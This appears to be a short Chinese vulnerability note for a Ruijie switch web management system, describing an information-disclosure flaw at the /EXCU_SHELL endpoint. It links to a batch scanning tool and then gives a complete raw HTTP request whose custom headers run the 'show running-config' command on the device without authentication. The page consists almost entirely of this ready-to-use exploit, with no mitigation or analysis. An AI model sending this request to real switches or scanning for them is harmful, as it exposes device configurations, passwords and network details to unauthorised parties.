25 lines
550 B
Markdown
25 lines
550 B
Markdown
|
漏洞描述：锐捷交换机 WEB 管理系统 EXCU_SHELL 信息泄露漏洞
|
|||
|
|
|
|||
|
|
批量扫描工具：https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/unauthorized/%E9%94%90%E6%8D%B7%E4%BA%A4%E6%8D%A2%E6%9C%BAWEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FEXCU_SHELL
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /EXCU_SHELL HTTP/1.1
|
|||
|
|
|
|||
|
|
Host:
|
|||
|
|
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.2852.74 Safari/537.36
|
|||
|
|
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
|
|||
|
|
Accept: */*
|
|||
|
|
|
|||
|
|
Connection: close
|
|||
|
|
|
|||
|
|
Cmdnum: '1'
|
|||
|
|
|
|||
|
|
Command1: show running-config
|
|||
|
|
|
|||
|
|
Confirm1: n
|
|||
|
|
```
|
|||
|
|
|